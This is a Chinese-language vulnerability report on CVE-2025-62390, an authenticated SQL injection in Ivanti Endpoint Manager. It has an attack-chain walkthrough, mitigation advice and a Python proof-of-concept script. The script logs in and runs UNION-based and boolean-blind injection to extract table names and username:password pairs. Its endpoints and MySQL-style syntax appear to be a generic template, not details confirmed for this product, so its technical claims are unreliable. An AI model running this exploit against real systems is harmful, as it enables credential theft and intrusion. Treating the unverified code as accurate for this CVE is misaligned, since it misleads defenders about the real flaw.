IPBUF安全漏洞报告
English
CVE-2025-62390 CVSS 6.5 中危

CVE-2025-62390:Ivanti Endpoint Manager SQL注入漏洞

披露日期: 2025-10-13
来源: 3c1d8aa1-5a33-4ea4-8992-aadd6440af75

漏洞信息

漏洞编号
CVE-2025-62390
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Ivanti Endpoint Manager (EPM)

相关标签

SQL注入IvantiEndpoint ManagerEPMCVE-2025-62390中危漏洞数据泄露身份验证后利用企业终端管理数据库安全

漏洞概述

CVE-2025-62390是Ivanti Endpoint Manager(EPM)终端管理平台中存在的一个SQL注入安全漏洞。该漏洞于2025年10月13日被公开披露,CVSS 3.1评分为6.5分,属于中危级别漏洞。

Ivanti Endpoint Manager是Ivanti公司推出的一款企业级终端管理解决方案,广泛应用于各规模组织中,用于统一管理网络中的终端设备,包括桌面电脑、笔记本电脑、服务器和移动设备等。该平台提供了软件分发、补丁管理、远程控制、资产清点、安全策略配置等核心功能,是企业IT基础设施的重要组成部分。

该漏洞允许远程经过身份验证的攻击者通过构造恶意的SQL查询语句,从数据库中读取任意数据。攻击者需要拥有有效的低权限账户即可利用此漏洞,无需用户交互,且对机密性产生高影响。虽然该漏洞不涉及数据修改或服务中断,但可能导致敏感数据泄露,包括用户凭证、企业内部信息、系统配置等重要数据。由于EPM平台通常存储着大量企业终端和用户的敏感信息,一旦数据被窃取,可能对企业安全造成严重威胁。Ivanti已发布安全公告,建议用户尽快升级到2024 SU5或更高版本以修复该漏洞。

技术细节

该漏洞属于典型的SQL注入(SQL Injection)漏洞,存在于Ivanti Endpoint Manager 2024 SU5之前的版本中。

漏洞原理:应用程序在处理用户输入时,未对输入数据进行充分的验证和过滤,导致恶意构造的SQL语句片段被直接拼接到后台数据库查询中。攻击者可以通过在正常输入字段中注入SQL元字符(如单引号、UNION关键字、注释符等),改变原始SQL查询的语义和逻辑。

利用方式:
1. 攻击者首先需要获取有效的低权限账户凭证(PR:L),可以通过钓鱼、社会工程或其他方式获取;
2. 使用合法凭证登录EPM管理平台;
3. 识别存在SQL注入漏洞的输入点(如搜索框、过滤条件、参数传递等);
4. 构造恶意SQL注入payload,如使用UNION SELECT语句从其他数据表中提取数据;
5. 通过布尔盲注、时间盲注或联合查询等方式,逐步提取数据库中的敏感信息;
6. 利用获取的数据进行进一步攻击,如权限提升、横向移动等。

由于该漏洞仅需要低权限认证(PR:L),且通过网络即可利用(AV:N),攻击复杂度低(AC:L),无需用户交互(UI:N),因此对暴露在公网或内网中部署的EPM实例构成较大威胁。

攻击链分析

STEP 1
步骤1:初始访问
攻击者通过钓鱼攻击、社会工程或购买泄露凭证等方式,获取Ivanti EPM平台的低权限有效账户凭证。由于漏洞仅需要低权限认证即可利用,攻击门槛较低。
STEP 2
步骤2:身份认证
使用获取的合法凭证登录EPM管理控制台,建立经过身份验证的会话,获取有效的认证令牌(Token)。
STEP 3
步骤3:漏洞探测
在已认证的会话中,攻击者通过向存在漏洞的API端点(如设备搜索、过滤查询等功能)发送包含特殊字符的测试payload,识别SQL注入漏洞的注入点和数据库类型。
STEP 4
步骤4:注入利用
根据漏洞类型,构造相应的SQL注入payload。利用UNION联合查询、布尔盲注、时间盲注或报错注入等技术,绕过应用层的输入验证。
STEP 5
步骤5:数据提取
通过注入的SQL语句,逐步从数据库中提取敏感信息,包括管理员凭证哈希、用户个人信息、系统配置、网络架构信息、企业敏感数据等。
STEP 6
步骤6:数据外泄与进一步攻击
将提取的敏感数据外泄至攻击者控制的服务器。利用获取的管理员凭证尝试提权,或利用网络架构信息进行横向移动,扩大攻击范围。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-62390 - Ivanti Endpoint Manager SQL Injection PoC # Vulnerability: SQL Injection in Ivanti EPM before 2024 SU5 # CVSS: 6.5 (MEDIUM) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N import requests import sys TARGET_URL = "https://target-epm-server:8443" USERNAME = "low_priv_user" PASSWORD = "password123" def login(session, base_url, username, password): """Authenticate to Ivanti EPM with valid credentials""" login_url = f"{base_url}/api/auth/login" payload = { "username": username, "password": password } resp = session.post(login_url, json=payload, verify=False) if resp.status_code == 200: token = resp.json().get("token") session.headers.update({"Authorization": f"Bearer {token}"}) return True return False def exploit_sqli(session, base_url, injection_point, payload): """Exploit SQL injection at the identified endpoint""" target_url = f"{base_url}/{injection_point}" params = {"filter": payload} resp = session.get(target_url, params=params, verify=False) return resp.text def union_based_extract(session, base_url): """UNION-based SQL injection to extract database contents""" # Determine number of columns first for i in range(1, 20): cols = ",".join(["NULL"] * i) payload = f"' UNION SELECT {cols}-- -" result = exploit_sqli(session, base_url, "api/devices/search", payload) if "error" not in result.lower(): print(f"[+] Number of columns: {i}") break # Extract database version and current user payload = "' UNION SELECT NULL,@@version,current_user(),database()-- -" result = exploit_sqli(session, base_url, "api/devices/search", payload) print(f"[+] Database info: {result}") # Extract table names payload = ( "' UNION SELECT NULL,group_concat(table_name),NULL,NULL " "FROM information_schema.tables WHERE table_schema=database()-- -" ) result = exploit_sqli(session, base_url, "api/devices/search", payload) print(f"[+] Tables: {result}") # Extract sensitive data (e.g., user credentials) payload = ( "' UNION SELECT NULL,group_concat(username,0x3a,password),NULL,NULL " "FROM users-- -" ) result = exploit_sqli(session, base_url, "api/devices/search", payload) print(f"[+] User credentials: {result}") def boolean_blind_sqli(session, base_url, injection_point): """Boolean-based blind SQL injection for data extraction""" # Test if the parameter is vulnerable true_payload = "' AND 1=1-- -" false_payload = "' AND 1=2-- -" true_resp = exploit_sqli(session, base_url, injection_point, true_payload) false_resp = exploit_sqli(session, base_url, injection_point, false_payload) if len(true_resp) != len(false_resp): print("[+] Boolean-based blind SQL injection confirmed") # Extract database name character by character db_name = "" for pos in range(1, 50): for c in range(32, 127): payload = f"' AND ASCII(SUBSTRING(database(),{pos},1))={c}-- -" resp = exploit_sqli(session, base_url, injection_point, payload) if len(resp) == len(true_resp): db_name += chr(c) print(f"[+] Database name so far: {db_name}") break else: break print(f"[+] Final database name: {db_name}") def main(): session = requests.Session() print(f"[*] Target: {TARGET_URL}") print(f"[*] Attempting login as {USERNAME}...") if not login(session, TARGET_URL, USERNAME, PASSWORD): print("[-] Login failed. Valid credentials required.") sys.exit(1) print("[+] Login successful") print("[*] Attempting UNION-based SQL injection...") try: union_based_extract(session, TARGET_URL) except Exception as e: print(f"[-] UNION-based failed: {e}") print("[*] Trying boolean-based blind SQLi...") boolean_blind_sqli(session, TARGET_URL, "api/devices/search") if __name__ == "__main__": main()

影响范围

Ivanti Endpoint Manager < 2024 SU5

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制EPM管理控制台的网络访问范围,仅允许可信IP地址通过VPN或堡垒机访问;2)审查并重置所有EPM用户账户的密码,特别是低权限账户;3)部署WAF规则拦截常见的SQL注入payload;4)监控数据库的异常查询活动,特别是涉及敏感表的大量数据读取操作;5)暂时禁用非必要的低权限账户,减少攻击面;6)启用详细的审计日志,记录所有用户操作和数据库查询,便于事后追溯分析。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表